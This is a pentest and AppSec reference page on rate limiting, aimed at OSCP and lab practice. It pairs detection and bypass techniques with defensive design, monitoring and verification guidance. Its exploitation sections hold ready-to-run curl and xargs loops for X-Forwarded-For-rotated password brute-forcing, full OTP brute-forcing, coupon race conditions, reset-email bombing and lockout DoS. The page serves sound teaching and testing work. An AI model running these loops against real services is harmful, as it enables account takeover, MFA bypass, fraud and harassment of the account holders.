Skip to main content

Rate Limiting

Rate limiting caps how many requests a client can make in a given time window. It protects against brute-force, credential stuffing, scraping, resource exhaustion, and business-logic abuse (coupon reuse, inventory hoarding, spam). It is not a security control by itself, but it is a critical layer in front of authentication, password reset, OTP verification, and any costly operation.

Rate limiting fails in two directions. It can be absent (no limit at all), or it can be present but bypassable. Bypass techniques are numerous: spoofing X-Forwarded-For, X-Real-IP, or X-Client-IP headers; using IPv6 address rotation; rotating user agents; hitting different endpoints that share a backend counter; triggering limits on the account owner to lock them out; and exploiting race conditions in the counter update itself.

This file covers rate limiting from both sides: the pentest track (detection, bypass, abuse) and the AppSec track (root causes, correct implementation, verification).

Production context tags: [LAB] HTB/OSCP labs only, [PROD] safe for production, [PROD-RISK] use with care, [PROD-NO] do not run against production.

Table of Contents​

  1. What Rate Limiting Is
  2. Detection
  3. Enumeration
  4. Attack Surface Map
  5. Common Variants
  6. Exploitation Recipes
  7. Post-Exploitation
  8. Risk Context (AppSec)
  9. Root Causes (AppSec)
  10. Preventive Controls (AppSec)
  11. Detection Controls (AppSec)
  12. Verification (AppSec)
  13. OSCP Notes
  14. Production Notes
  15. References

1. What Rate Limiting Is​

Rate limiting restricts the number of requests a client can issue in a defined period. It is enforced at one or more layers, and the layer that enforces it determines the bypass techniques.

1.1 Layers​

Client Browser, mobile app (advisory only, never trusted)
Edge CDN (Cloudflare, Akamai, Fastly) - global rules
Load balancer nginx, HAProxy, Envoy - per-IP or per-connection
WAF ModSecurity, cloud WAF - rules with rate conditions
Application Per-user, per-session, per-endpoint, per-action
Database Connection pool limits, query timeouts

Each layer sees a different identity. The edge sees the TCP source IP. The load balancer sees the connection. The application sees the session cookie, JWT, or API key. An attacker who changes layer-visible identity bypasses the corresponding limit.

1.2 Algorithms​

Common rate-limiting algorithms:

  • Fixed window. Counter per (key, window). Simple, but the boundary allows a 2x burst (100 at the end of window 1 + 100 at the start of window 2).
  • Sliding window log. Timestamps of every request, pruned to the window. Accurate, memory-heavy.
  • Sliding window counter. Weighted average of current and previous window. Good tradeoff.
  • Token bucket. Bucket of N tokens, refilled at R tokens/second. Allows bursts up to N.
  • Leaky bucket. Queue of fixed size, drained at a constant rate. Smooths bursts.

The choice matters: a fixed window with a 1-minute limit of 5 allows 10 requests in 2 seconds at the boundary. Sliding window or token bucket avoid this.

1.3 What rate limiting is not​

Rate limiting is not a replacement for:

  • Account lockout (brute-force protection after N failures per account, not per IP).
  • CAPTCHA / proof of work (for scripted abuse from rotating IPs).
  • Anomaly detection (for low-and-slow attacks spread over hours).
  • Input validation (a well-formed malicious request is not stopped by rate limiting).
  • Authentication (rate limiting slows credential stuffing, it does not stop it if the attacker is patient).

2. Detection​

Rate limiting is detected by:

  • Sending the same request repeatedly and observing a 429 Too Many Requests response.
  • Retry-After, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset headers.
  • Response time degradation after N requests.
  • Error messages mentioning "too many requests", "slow down", "rate limit exceeded".

Quick detection​

# Send 20 requests quickly, look for 429
for i in $(seq 1 20); do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET/api/login")
echo "$i: $code"
done

# Check for rate-limit headers
curl -sI "http://$TARGET/api/login" | grep -iE "x-ratelimit|retry-after"

Expected output (rate limiting present):

1: 200
2: 200
3: 200
4: 200
5: 429
6: 429
7: 429

Expected output (no rate limiting):

1: 200
2: 200
3: 200
...
20: 200

Quick reference table​

SignalMeaningNext step
429 Too Many Requests after N requestsRate limiting existsTest bypass techniques
Retry-After: NTime-based limitTry other IPs, headers, accounts
X-RateLimit-Remaining decreasesPer-something counterDetermine the key (IP, session, user)
No 429 after 1000 requestsLikely no limitTest for abuse (brute-force, scraping)
Only login limitedSensitive endpoint limitedOther endpoints may be open
No limit on password resetPassword reset abuseEmail bombing, token enumeration
No limit on OTPOTP brute-force4-6 digit OTP, brute-forceable
Limit per IP, not per accountIP rotation bypassUse X-Forwarded-For or IPv6

3. Enumeration​

3.1 Identify the limiting key​

Send requests from different identities and observe when the limit triggers:

# Same IP, different sessions
curl -s -H "Cookie: session=A" "http://$TARGET/api/data" -o /dev/null -w "A: %{http_code}\n"
curl -s -H "Cookie: session=B" "http://$TARGET/api/data" -o /dev/null -w "B: %{http_code}\n"

# Same session, different IPs (via X-Forwarded-For)
curl -s -H "X-Forwarded-For: 1.1.1.1" "http://$TARGET/api/data" -o /dev/null -w "IP1: %{http_code}\n"
curl -s -H "X-Forwarded-For: 2.2.2.2" "http://$TARGET/api/data" -o /dev/null -w "IP2: %{http_code}\n"

If the limit trips on the same session but not on the different-IP requests, the key is the session. If the reverse, the key is the IP.

3.2 Identify the window​

Tripping the limit and waiting reveals the window:

# Hit the limit
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" "http://$TARGET/api/login"
done | sort | uniq -c
# Wait and retry
sleep 30
curl -s -o /dev/null -w "after 30s: %{http_code}\n" "http://$TARGET/api/login"
sleep 30
curl -s -o /dev/null -w "after 60s: %{http_code}\n" "http://$TARGET/api/login"

The Retry-After header, if present, gives the window directly.

3.3 Enumerate endpoints with and without limits​

Not every endpoint is limited. Test each one independently:

endpoints=(
"/api/login"
"/api/register"
"/api/password-reset"
"/api/otp/verify"
"/api/contact"
"/api/coupon/redeem"
"/api/search"
"/api/export"
)
for ep in "${endpoints[@]}"; do
hits=0
for i in $(seq 1 50); do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET$ep")
if [ "$code" = "429" ]; then hits=$((hits+1)); fi
done
echo "$ep -> 429 hits in 50: $hits"
done

Endpoints with sensitive impact (OTP, password reset, coupon) that are NOT limited are the highest-value findings.

3.4 Test headers that shift the key​

Many apps compute the rate-limit key from a header that an attacker controls:

# Common spoofable headers
headers=(
"X-Forwarded-For: 1.2.3.4"
"X-Real-IP: 1.2.3.4"
"X-Client-IP: 1.2.3.4"
"X-Originating-IP: 1.2.3.4"
"X-Remote-IP: 1.2.3.4"
"X-Remote-Addr: 1.2.3.4"
"Forwarded: for=1.2.3.4"
"True-Client-IP: 1.2.3.4"
"CF-Connecting-IP: 1.2.3.4"
)
for h in "${headers[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" -H "$h" "http://$TARGET/api/login")
echo "$h -> $code"
done

A single 200 after a 429 burst means the header bypasses the limit.


4. Attack Surface Map​

LayerVectorWhat to test
Client IPX-Forwarded-For spoofRotate header values
Client IPIPv6 rotation/64 gives 2^64 addresses
Client IPMobile carrier NATShared IPs trigger limits on unrelated users
SessionSession not bound to IPRotate sessions after login
AccountPer-account limitLock out other users (DoS)
AccountNo per-account limitBrute-force one user from many IPs
EndpointShared backend counterHit one endpoint to bypass the other
EndpointDifferent paths, same handler/api/login vs /api/v1/login
PathTrailing slash/api/login/ vs /api/login
PathCase sensitivity/api/Login vs /api/login
PathURL encoding/%61pi/login
HTTPMethodPOST vs PUT vs PATCH
HTTPHeader caseX-Forwarded-For vs x-forwarded-for
HTTPChunked encodingTransfer-Encoding: chunked splits the body
RaceParallel requests100 concurrent requests hit before counter updates
OTPOTP brute-force4-6 digit codes, no limit = full brute
Password resetToken enumerationNo limit + short token = account takeover

5. Common Variants​

5.1 Missing rate limiting on authentication endpoints​

No limit on /login, /password-reset, or /otp/verify. Brute-force, credential stuffing, and OTP bypass become practical.

# 1000 login attempts, no 429
for pw in $(cat /usr/share/wordlists/rockyou.txt | head -1000); do
curl -s -o /dev/null -X POST "http://$TARGET/api/login" -d "user=admin&pass=$pw"
done

CWE-307: Improper Restriction of Excessive Authentication Attempts. OWASP 2021: A07 Identification and Authentication Failures.

5.2 Per-IP limit only (no per-account)​

The limit is enforced per source IP, but not per target account. An attacker with many IPs (botnet, cloud, IPv6) can attack a single account indefinitely; conversely, an attacker on a shared IP can lock out legitimate users by exhausting the IP limit.

# From many IPs via header spoofing
for i in $(seq 1 100); do
curl -s -X POST "http://$TARGET/api/login" -H "X-Forwarded-For: 10.0.0.$i" -d "user=admin&pass=guess$i"
done

CWE-307. OWASP API 2023: API2 Broken Authentication.

5.3 X-Forwarded-For trust (IP spoofing)​

The application reads the client IP from X-Forwarded-For without validating that it came from a trusted proxy. An attacker sets the header to any value and gets a fresh rate-limit bucket per request.

# Each request with a new fake IP bypasses the limit
for i in $(seq 1 1000); do
curl -s -o /dev/null -X POST "http://$TARGET/api/login" \
-H "X-Forwarded-For: 10.0.$((i/256)).$((i%256))" \
-d "user=admin&pass=guess$i"
done

CWE-348: Use of Less Trusted Source. OWASP 2021: A05 Security Misconfiguration.

5.4 IPv6 rotation​

A single IPv6 /64 subnet contains 2^64 addresses. An attacker with an IPv6 prefix can rotate source addresses per request, and the server sees each request from a fresh IP.

CWE-307. OWASP 2021: A07.

5.5 Race conditions in the counter​

Read-modify-write on a counter without atomicity. 100 parallel requests can all read "counter = 4" (limit 5), all pass, and all increment, giving 104 requests instead of 5.

# Parallel burst
seq 1 100 | xargs -P 100 -I{} curl -s -o /dev/null -X POST "http://$TARGET/api/otp/verify" -d "otp={}"

CWE-362: Concurrent Execution Using Shared Resource. OWASP 2021: A04 Insecure Design.

5.6 Fixed window boundary burst​

Fixed-window limits allow 2x burst at the boundary: 100 requests at 00:59:59 and 100 at 01:00:00 = 200 in 2 seconds, if the limit is 100/minute.

# Send 100 requests at the end of the window
# Wait until the window boundary
# Send 100 more immediately

CWE-770: Allocation of Resources Without Limits. OWASP 2021: A04.

5.7 Path / case / encoding bypass​

Different URLs that hit the same handler may have independent rate-limit counters:

# Same handler, different URLs
curl -s -X POST "http://$TARGET/api/login" -d "user=admin&pass=x"
curl -s -X POST "http://$TARGET/api/login/" -d "user=admin&pass=x"
curl -s -X POST "http://$TARGET/api/Login" -d "user=admin&pass=x"
curl -s -X POST "http://$TARGET/api/%6Cogin" -d "user=admin&pass=x"
curl -s -X POST "http://$TARGET/api/login?x=1" -d "user=admin&pass=x"

CWE-436: Interpretation Conflict. OWASP 2021: A05.

5.8 Lockout as denial of service​

Per-account lockout after N failures is a security control, but it can be weaponized. An attacker who knows a target username can lock them out by sending N bad passwords. Legitimate users are denied access.

This is a design tradeoff. The correct balance is progressive delays, CAPTCHA after a threshold, and alerting - not a hard lock that anyone can trigger.

CWE-645: Overly Restrictive Account Lockout Mechanism. OWASP 2021: A04.

5.9 No limit on password reset​

The password reset endpoint sends an email per request. No limit means an attacker can email-bomb a victim, or enumerate valid emails by observing different responses. If the reset token is short (6 digits), brute-force is also possible.

CWE-307 / CWE-640: Weak Password Recovery Mechanism. OWASP 2021: A07.

5.10 No limit on OTP​

OTP endpoints frequently have no rate limit. A 6-digit OTP has 1,000,000 combinations. At 1000 requests/second, brute-force takes 17 minutes. Without rate limiting, OTP is not a security control.

CWE-307. OWASP 2021: A07.

5.11 Credential stuffing with low-and-slow​

Distributed attacks from many IPs, each below the per-IP threshold, over hours. This is not defeated by any rate limiter that works per IP. It requires per-account failure counts, breach-password checks (HIBP integration), and behavioral anomaly detection.

CWE-307. OWASP 2021: A07.

5.12 Rate limit on the wrong layer​

A CDN rate limit that applies only to cached paths does nothing for /api/* (uncacheable). A load balancer limit that applies per connection does nothing against a client that opens new connections.

CWE-770. OWASP 2021: A04, A05.


6. Exploitation Recipes​

6.1 Login brute-force with X-Forwarded-For rotation​

  1. Confirm no rate limit, or a limit that keys on a spoofable header.
# Confirm baseline
for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code}\n" -X POST "http://$TARGET/api/login" -d "user=admin&pass=x"
done | sort | uniq -c
  1. Add X-Forwarded-For rotation:
for i in $(seq 1 10000); do
pw=$(sed -n "${i}p" /usr/share/wordlists/rockyou.txt)
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "http://$TARGET/api/login" \
-H "X-Forwarded-For: 10.0.$((i/256)).$((i%256))" \
-d "user=admin&pass=$pw")
if [ "$code" = "302" ]; then echo "[+] found: $pw"; break; fi
done
  1. On success, log the credential.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

6.2 OTP brute-force with parallel requests​

  1. Trigger an OTP for a target account.
  2. Send all 1,000,000 codes in parallel (bounded by concurrency).
seq -w 0 999999 | xargs -P 50 -I{} curl -s -o /dev/null -X POST "http://$TARGET/api/otp/verify" \
-H "X-Forwarded-For: 10.0.0.$((RANDOM%256))" \
-d "otp={}"
  1. If no rate limit and no account lockout, one of the requests succeeds.

6.3 Race condition on coupon redemption​

  1. A coupon can be redeemed once per user. Send 100 parallel redemption requests.
seq 1 100 | xargs -P 100 -I{} curl -s -X POST "http://$TARGET/api/coupon/redeem" \
-H "Cookie: session=<VICTIM_SESSION>" \
-d "code=WELCOME10"
  1. If the counter update is not atomic, the coupon is redeemed multiple times.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

6.4 Password reset email bombing​

  1. Trigger password reset for the victim many times.
for i in $(seq 1 100); do
curl -s -o /dev/null -X POST "http://$TARGET/api/password-reset" \
-H "X-Forwarded-For: 10.0.0.$i" \
-d "email=victim@example.com"
done
  1. If no limit, the victim receives 100 emails.

6.5 Account lockout DoS​

  1. Identify a target username.
  2. Send N bad passwords to trigger the lockout.
for i in $(seq 1 20); do
curl -s -o /dev/null -X POST "http://$TARGET/api/login" -d "user=victim&pass=wrong$i"
done
# Victim is now locked out
  1. If the lockout duration is long (30 minutes or more), the DoS is effective.

7. Post-Exploitation​

Once rate limiting is bypassed:

  • Credential stuffing at scale. With a leaked password list, test thousands of accounts per hour.
  • OTP and MFA bypass. If the second factor is a short numeric code without rate limiting, MFA is effectively broken.
  • Enumeration. Username, email, coupon, and token enumeration become practical.
  • Resource abuse. Scraping, cost amplification (per-request billing), compute exhaustion.
  • Business logic abuse. Coupon reuse, inventory hoarding, spam, rating manipulation.
  • Lockout DoS. Deny access to specific users by triggering lockouts.

For the report: which endpoint, what limit (or lack of it), what the exploit was, and what the impact was.


8. Risk Context (AppSec)​

Rate-limiting failures map to:

StandardRate-limiting manifestation
OWASP 2021 A04 Insecure DesignMissing rate limit as a design choice
OWASP 2021 A05 Security MisconfigurationWrong layer, spoofable header key
OWASP 2021 A07 Auth FailuresNo limit on login, OTP, password reset
OWASP 2021 A09 Logging FailuresNo alert on abnormal request rate
OWASP API 2023 API2 Broken AuthenticationNo limit on authentication
OWASP API 2023 API4 Unrestricted Resource ConsumptionNo limit on expensive operations
OWASP API 2023 API6 Unrestricted Access to Sensitive Business FlowsCoupon, inventory, spam

9. Root Causes (AppSec)​

Recurring root causes for rate-limiting failures:

  1. No rate limit at all. The endpoint is exposed without any limit. Common in MVPs and internal tools that later become public.
  2. Rate limit at the wrong layer. The CDN or load balancer sees only cached paths or per-connection identity, not the API traffic.
  3. Client-controlled key. The rate-limit key is taken from X-Forwarded-For, X-Real-IP, or similar headers without validating the immediate proxy.
  4. Per-IP only, no per-account. Distributed attacks and shared-NAT false positives.
  5. Non-atomic counters. Race conditions allow bursts far above the limit.
  6. Fixed window with boundary burst. 2x the nominal rate is achievable at the window boundary.
  7. No limit on sensitive flows. OTP, password reset, coupon redemption, and invitation emails are the high-value endpoints; they are often overlooked.
  8. Lockout as the only mechanism. Account lockout weaponized for DoS.
  9. No monitoring. Rate limits trip silently; no alert.

10. Preventive Controls (AppSec)​

Design:

  • Identify sensitive flows: authentication, password reset, OTP, registration, coupon redemption, email send, expensive compute, and any per-user quota. Every one gets a limit.
  • Design limits at multiple layers: edge (per-IP), application (per-session, per-account, per-endpoint, per-action), database (connection pool).
  • Combine algorithms: token bucket for bursty traffic, sliding window for sensitive operations.

Implementation:

  • Trust chain for client IP. Only trust X-Forwarded-For from known proxies. At each hop, append the immediate client IP, do not overwrite. Read the leftmost untrusted value.
  • Rate-limit key is the authenticated identity (user ID, API key), not the client IP. Use IP only as a secondary signal.
  • Atomic counters. Use Redis INCR with EXPIRE, or an atomic database operation. Never read-modify-write.
  • Distributed counters. If the app runs on multiple nodes, the counter must be shared (Redis, memcached, or a database). In-memory counters are per-node and effectively multiply the limit by the number of nodes.
  • Return consistent errors. 429 Too Many Requests with Retry-After. Do not leak whether the user exists.
  • Account-level protections beyond rate limiting: progressive delays, CAPTCHA, breach-password checks (HIBP), MFA.

OTP and password reset:

  • Hard limit on attempts per token (e.g. 5 wrong OTPs invalidates the token).
  • Short token lifetime (5-10 minutes).
  • Bind token to session, user, and IP where possible.
  • Rate limit per recipient email address, not only per IP. This prevents email bombing from distributed sources.

Monitoring:

  • Alert on 429 rate. A spike means either a broken client or an attack in progress.
  • Alert on login failure rate per account and per IP.
  • Track distinct-IP logins per account - credential stuffing signal.

11. Detection Controls (AppSec)​

Signals worth monitoring:

  • 429 rate spikes. Sudden increase in rate-limited responses.
  • Login failure rate per account over time.
  • Login failure rate per IP, and distinct IPs per account.
  • Distinct accounts per IP in a short window - stuffing signal.
  • Unusual request patterns (no User-Agent variation, fixed timing, sequential paths).
  • X-Forwarded-For spoofing - log both the direct peer IP and the header value; alert when they diverge in unexpected ways.
  • Parallel bursts on sensitive endpoints - race-condition signal.
  • Password reset requests per recipient - email bombing signal.
  • OTP verify failures per token.

12. Verification (AppSec)​

Concrete checks:

ControlVerification
Login rate limitSend N+1 login attempts; expect 429 on N+1
Per-account limitSend N+1 attempts against one account; expect rejection, regardless of source IP
OTP rate limitSend N+1 wrong OTPs; expect rejection, and token invalidation after N
Password reset limitSend N+1 reset requests; expect rejection per recipient
X-Forwarded-For spoofSend X-Forwarded-For: 1.2.3.4 from an untrusted source; expect the value to be ignored
Distributed counterSend N+1 requests through two app nodes; expect the combined total to be limited
Atomic counterFire 100 parallel requests at a 5-request limit; expect at most 5 successes
Window algorithmObserve if boundary bursts of 2x are possible
429 consistencyErrors must be 429 with Retry-After; not generic 500 or 403
No user enumerationRate limit errors must not reveal whether the user exists

Cross-reference: OWASP ASVS 4.0 V2 (Authentication), V4 (Access Control), V11 (Business Logic), V13 (API and Web Service). OWASP API Security Top 10:2023 API4 (Unrestricted Resource Consumption), API6 (Unrestricted Access to Sensitive Business Flows). See ../../01 Web/08 Vulnerabilities/ for related logic-abuse walkthroughs.


13. OSCP Notes​

Rate limiting is a supporting finding on OSCP, not usually the main one, but it enables higher-impact attacks:

  • Always test the login endpoint for a rate limit. A successful brute-force is often the winning move.
  • Test the password reset endpoint for a rate limit and a short token. Password reset abuse leads to account takeover.
  • Test OTP endpoints if MFA is present. No rate limit = MFA bypass.
  • Use X-Forwarded-For rotation to bypass a per-IP limit: curl -H "X-Forwarded-For: 10.0.0.$RANDOM" ...
  • Try path variations (/api/login, /api/login/, /api/Login) - some apps have separate counters.
  • Use ffuf or hydra with the -H option to add a per-request header.
  • For OSCP reporting, rate-limiting bypass is a finding on its own only if it enables a credential or data compromise. Otherwise it is a supporting note.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


14. Production Notes​

PracticeVerdict
Rate limit on loginRequired
Rate limit on password resetRequired
Rate limit on OTP verifyRequired
Rate limit on registrationRequired
Rate limit on any expensive computeRequired
Per-account + per-IP + per-endpoint limitsRequired
Distributed counters (Redis, DB)Required for multi-node
Atomic incrementRequired
Trust chain for X-Forwarded-ForRequired
Return 429 with Retry-AfterRecommended
Alert on 429 spikesRecommended
CAPTCHA / PoW after thresholdRecommended for public endpoints
Breach-password check (HIBP)Recommended for registration
Lockout as the only mechanismNever
Rate limit only at the CDNInsufficient for APIs
Rate limit keyed on client-controlled headerNever
Non-atomic countersNever

15. References​